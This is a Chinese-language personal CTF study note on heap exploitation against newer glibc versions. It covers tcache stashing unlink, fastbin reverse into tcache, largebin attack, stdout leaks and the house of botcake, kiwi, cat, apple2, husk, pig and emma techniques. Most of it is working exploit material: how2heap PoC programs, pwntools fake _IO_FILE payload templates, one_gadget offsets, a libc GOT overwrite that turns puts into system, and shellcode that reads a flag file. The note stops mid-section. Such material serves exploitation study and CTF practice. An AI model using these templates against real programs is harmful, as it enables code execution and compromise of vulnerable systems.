高版本glibc堆利用笔记

该笔记目的是为了方便自己做题,所以每个打法写的非常简便,且部分内容为从各位师傅的文章中直接复制,没有记录更加深入的原理

部分结构源码

_IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE // 可以看出如果使用旧的 _IO_FILE ,那我们经常说的IO就是 _IO_FILE_complete
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

struct _IO_FILE_complete_plus
{
struct _IO_FILE_complete file;
const struct _IO_jump_t *vtable;
};

_IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

struct _IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

_IO_wfile_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

_IO_printf_buffer_as_file_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),//函数一
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),//函数二
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
  • 利用流程
    1、假设目前tcache bin中已经有五个堆块,并且相应大小的small bin中已经有两个堆块,由bk指针连接为:chunk_A<-chunk_B
    2、利用漏洞修改chunk_Abkfake chunk,并且修改fake chunkbktarget_addr - 0x10
    3、通过calloc()越过tcache bin,直接从small bin中取出chunk_B返回给用户,并且会将chunk_A以及其所指向的fake chunk放入tcache bin(这里只会检测chunk_Afd指针是否指向了chunk_B
    4、在fake chunk放入tcache bin之前,执行了bck->fd = bin;的操作(这里的bck就是fake chunkbk,也就是target_addr - 0x10),故target_addr - 0x10fd,也就target_addr地址会被写入一个与libc相关大数值(可利用)
    5、再申请一次,就可以从tcache中获得fake chunk的控制权

poc(how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// glibc 2.36
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

fastbin reverse into tcache

  • 利用流程:
    1、申请14fastbin范围内的chunk,然后释放7个用来填满tcache,然后将剩下的七个释放进fastbin
    2、修改第一个放进fastbinchunkfd&target
    3、通过申请7chunktcache清空
    4、申请一个chunk,此时由于tcache中已经没有chunk了,所以会去fastbin里拿,然后将fastbin中剩余的chunk转到tcache中,fastbin中有7个,分配一个,剩下六个,依次放进tcache中,而最先放入fastbin中的chunkfd被我们改成了&target,所以tcache会将target也当做一个chunk放进tcache
    5、此时tcache中有7chunk,最后一个chunk即为target

poc(how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// glibc 2.36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
setbuf(stdout, NULL);

printf("\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
"An heap address leak is needed to perform this attack.\n"
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}

printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n");

// Fill the tcache.
for (i = 0; i < 7; i++) free(ptrs[i]);

char* victim = ptrs[7];
printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n", victim);
free(victim);

printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n");

// Fill the fastbin.
for (i = 8; i < 14; i++) free(ptrs[i]);

// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));

printf("The stack address that we intend to target: %p\n"
"It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);

printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n", victim);

//------------VULNERABILITY-----------

// Overwrite linked list pointer in victim.
// The following operation assumes the address of victim is known, thus requiring
// a heap leak.
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));

//------------------------------------

printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");

// Empty tcache.
for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);

printf("Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n");

for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

printf("\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n");

malloc(allocsize);

for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

char *q = malloc(allocsize);
printf("\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n", q);

assert(q == (char *)&stack_var[2]);

return 0;
}

largebin attack

  • 利用流程:
    1、在largebin list中放入一个堆块A,并利用UAF等漏洞在bk_nextsize写入target_addr - 0x20
    2、释放一个大小略小于堆块A的堆块B进入到同一个largebin list,此时就会在target_addr中写入堆块B的地址

利用_IO_2_1_stdout_泄露地址

通常将_flags设置为0xfbad1800 设置_IO_write_base指向想要泄露的地方 _IO_write_ptr指向泄露结束的地址
之后遇到putsprintf 就会将_IO_write_base指向的内容打印出来

1
payload = p64(0xfbad1800) + p64(0) * 3 + '\x00'

注意:通常第一个被释放的chunk不会被进行合并
某次做题时进行的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
ptr = heap_base+0x2c0  # ptr指向第一个chunk的fd指针的位置(chunk 0)
log.success(f"ptr: {ptr:#x}")
add(0x408,p64(heap_base + 0x7b0)+b"a"*0x3ff+b'\n') # 0 前面的地址指向伪造的fake chunk的地址 即下面的edit(1)
log.success(f"heap_base + 0x7b0: {heap_base + 0x7b0:#x}")
add(0x4f8,"b"*0x4f8+'\n') # 1
add(0x408,"c"*0x407+'\n') # 2
add(0x4f8,"d"*0x4f7+'\n') # 3
add(0x408,"e"*0x407+'\n') # 4

edit(2,b"c"*0x400 + p64(0x410*2))
edit(1,b"b"*0xe0+p64(0)+p64(0x410*2+1)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)+p64(0)) # 在chunk1中伪造一个fake chunk0x820

dele(3)

chunk1的中间部分+chunk2+chunk3进行合并

house of botcake

通常在存在UAF漏洞,但只能对其进行delete操作时使用
利用步骤
1、先将tcache bin填满(大小要大于0x80
2、再连续free两个连着的堆块(AB的上方,A不能进入tcache binB的大小要与第一步tcache bin中的相等),使其合并后进入unsorted bin
3、从tcache bin中取出一个堆块,空出一个位置
4、将Chunk B利用UAF漏洞,再次释放到tcache bin中,并申请回unsorted bin中的Chunk A & B合并的大堆块(部分),修改Chunk Bnext指针指向任意地址,并申请到任意地址的控制权

house of kiwi(<= 2.36)

  • _IO_file_jumps中的_IO_new_file_sync修改为setcontext + 61 注意:该_IO_file_jumps位于stderr
  • 其中rdx指向_IO_helper_jumps_addrrdi指向_IO_2_1_stderr_addr
  • 可以通过在_IO_helper_jumps_addr + 0xA0的位置写入rop链也可以通过在libc中找gadgetrdi转移到rbx
  • 通过__malloc_assert触发该攻击

house of cat

  • 依旧为将stderr所指向的区域伪造一个fake_io_file
  • 利用模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_io_addr = heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE = p64(rdi) #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE += p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addrA
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+libc.symbols['_IO_wfile_jumps']+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
  • size为0x118

模板二:

1
2
3
4
5
6
7
8
9
fake_file = flat({
0x30: call, # ogg/setcontext
0x40: rbx,
0x78: writeable,
0x90: fake_addr + 0x30,
0xc8: IO_wfile_jumps + 0x10, # vtable
0xf8: fake_add + 0x28,
}, filler=b"\x00")
# 不包括io_file的前0x10字节
  • 最终通过_malloc_assert来触发攻击
    2.36版本开始,删除了_malloc_assertstderr的刷新,因此通过该方法触发攻击的手段生效,但可以使用fsop的方法来触发攻击(FSOP需将vtable改为IO_wfile_jumps+0x30,并且要将_IO_list_all指向可控的fake_file地址)

house of 秦月汉关

修改libc中的部分got.plt节来执行我们想要的函数

例子

puts函数调用时会隐式的调用strlen函数,而strlen函数的got.plt节在libc中,如果我们将strlengot.plt中的内容改为system函数的地址,那么执行puts("/bin/sh")->strlen("/bin/sh")就会变成puts("/bin/sh")->system("/bin/sh")进而getshell
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>

int main()
{
long long int puts_offset = 0x80ed0;
long long int libc_base_addr = (long long int)&puts - puts_offset;
long long int strlen_addr = libc_base_addr + 0x19d960;
long long int system_addr = libc_base_addr + 0x50d60;
long long int *strlen_got_plt_addr= (long long int *)(libc_base_addr + 0x219098 );
puts("输出/bin/sh");
puts("/bin/sh");
*strlen_got_plt_addr = system_addr;
puts("取得shell");
puts("/bin/sh");

return 0;
}

house of apple2

主要是因为系统没有对wfile_vtable中函数指针的合法性进行检测,导致可以让我们进行利用
利用链:

1
2
3
4
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_2_1_stderr_的位置伪造一个fake_file
Csome版fake_file:

1
2
3
4
5
6
7
fake_file = flat({
0x0: b" sh;",
0x28: system,
0x88: libc_base+0x2008f0, #lock writable addr
0xa0: stderr-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")

通过exit或者主函数返回触发该攻击
改方法也可以用于打rop,将0x28处设置为magic gadget的地址,0x0处布置好内容用于将指定的地址设置进rbx中并使rip能够指向setcontext+61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# stderr-0x40+0x18 == 0 -> FILE->_wide_data->_IO_wirite_base == 0  
# stderr-0x40+0x30 == 0 -> FILE->_wide_data->_IO_buf_base == 0
fake_file = flat({
0x0: 0, # flag & 8 ==0 && flag & 0x800 == && FILE->flags & 2 ==0
0x8: stderr-0x10, # magic_gadget move rdx, [rdi+8]
0x10: setcontext, # magic call qword ptr [rdx+0x20]
0x20: 0, # FILE->_IO_write_ptr > FILE->_IO_write_base
0x28: magic_gadget, # (target code addr)fake _wide_vtable->_IO_wdoallocbuf
0x58: stderr & (~0xfff), # set rdi
0x60: 0x1000, # set rsi
0x78: 7, # set rdx
0x90: stderr+0xe0, # set rsp
0x98: mprotect, # set rcx (first jmp)
0xa0: stderr-0x40, # reuse _wide_data
0xd8: libc_base+libc.symbols['_IO_wfile_jumps'], # _IO_wfile_jumps
0xe0: [ # ROPstart
pop_rax_call_rax,
stderr+0xf0,
],
0xf0: asm( # shellcode start
f"""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
},filler=b'\x00')

house of husk

改方法主要是利用printf函数在进行格式化字符串时会调用__printf_arginfo_table__printf_function_table中的函数指针所指向的函数,此时我我们可以劫持这2个指针所以指向的地址,然后在该地址中写入ogg的地址,在下次调用printf函数时即可getshell
这里要注意,在进行格式化字符串时操作系统会对这两个指针判断是否空,如果为空则会调用calloc来分配内存来给这两个表,其中每一个表的大小都为0x100.需要注意的是,在我们伪造的表中,格式化字符所对应的函数指针要么是0,要么是一个合法的地址
假设现在__printf_function_table__printf_arginfo_table分别被填上了chunk 4chunk 8的堆块地址(chunk header
方法一:

1
2
one_gadget = libc.address + 0xe6c7e
edit(8, p64(0)*(ord('s') - 2) + p64(one_gadget))

由于有堆块头,所以格式化字符的索引要减2,这样写就满足了__printf_function_table不为空,进入了printf_positional函数,并调用了__printf_arginfo_table中的函数指针
方法二:

1
2
one_gadget = libc.address + 0xe6ed8
edit(4, p64(0)*(ord('s') - 2) + p64(one_gadget))

__printf_arginfo_table和__printf_function_table的地址可以直接通过p &来查找
可以利用下面这个函数来查找相关地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

函数 vfprintf 中的部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);

/* ------------------------------------------------------------------ */

if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)

house of pig

主要是利用_IO_str_overflow这个io函数,该函数中可以完成mallocmemcpyfree一条龙服务
且该函数汇编中存在下面这段代码

1
0x00007ffff7e2f0dd <+61>:    mov    rdx,QWORD PTR [rdi+0x28]

rdi指向IO_FILE结构体首地址,可以方便我们来通过setcontext+61来打srop
高版本没有hook函数,可是_IO_str_overflow中存在memset函数的调用,而且该函数的got表在glibcglibc中的got表可写,所以可以修改got表来达到和hook相同的效果
fake_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在0xa0的tcache链表头伪造一个memset_got_addr的地址
# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]
fake_stderr = p64(0)*5 + p64(0xffffffffffffffff) # _IO_write_ptr
fake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)
fake_stderr = fake_stderr.ljust(0x88, b'\x00')
fake_stderr += p64(libc_base+libc.symbols['_IO_stdfile_2_lock']) # _lock
fake_stderr = fake_stderr.ljust(0xa0, b'\x00') # srop
fake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp rip
fake_stderr = fake_stderr.ljust(0xd8, b'\x00')
fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)
fake_stderr += p64(0) + p64(0x21)
fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8
fake_stderr += p64(0) + p64(0x21) + p64(0)*3
fake_stderr += p64(libc_base+libc.symbols['setcontext']+61) # r14 + 0x38

需要注意的是,在memset之前仍然有free(IO->buf_base),因此需要伪造一下memset_got_addrfake chunk的堆块头,以及其next chunk的堆块头
最终通过exit()函数或者程序正常退出触发攻击

house of emma

house of emma主要利用了_IO_cookie_jumps这个vtable
利用house of KiWi配合house of emma的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write),这里用的是_IO_cookie_write函数,用其他的当然也同理
fs寄存器的值和地址可以通过x/16gx pthread_self()指令来查看
fake_file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# __pointer_chk_guard为tls[0x30]处的值,用于对数据进行加密
ROL = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

magic_gadget = libc.address + 0x1460e0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

fake_stderr = p64(0)*5
fake_stderr += p64(0xffffffffffffffff)
fake_stderr = fake_stderr.ljust(0x88, b'\x00')
fake_stderr += p64(libc_base+libc.symbols['_IO_stdfile_2_lock']) # _lock
# _IO_flockfile(fp) in __vfxprintf
fake_stderr = fake_stderr.ljust(0xd8, b'\x00')
fake_stderr += p64(libc_base+libc.symbols['_IO_cookie_jumps'] + 0x40) # fake_vtable
# call [vtable]+0x38 (call _IO_new_file_xsputn)
# => call _IO_cookie_jumps+0x78 => call _IO_cookie_write
fake_stderr += p64(srop_address) # __cookie (rdi)
fake_stderr += p64(0)
fake_stderr += p64(ROL(magic_gadget ^ __pointer_chk_guard, 0x11, 64)) # __io_functions.write

最终通过_malloc_hook来触发(<=2.36)
当然也可以通过_IO_flush_all来触发,不过由于在exit函数的调用过程中会出现很多会出现调用别的给加密过的函数指针,由于__pointer_chk_guard已经给我们修改,所以这些函数指针在给调用的时候会给报错,即该方法的利用比较麻烦,不建议使用

劫持tls_dtor_list,利用__call_tls_dtors拿到权限

主要功能为getshell,当然也可以利用setcontext+61srop
dtor_list:

1
2
3
4
5
6
7
8
9
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};

static __thread struct dtor_list *tls_dtor_list;

__call_tls_dtors:

1
2
3
4
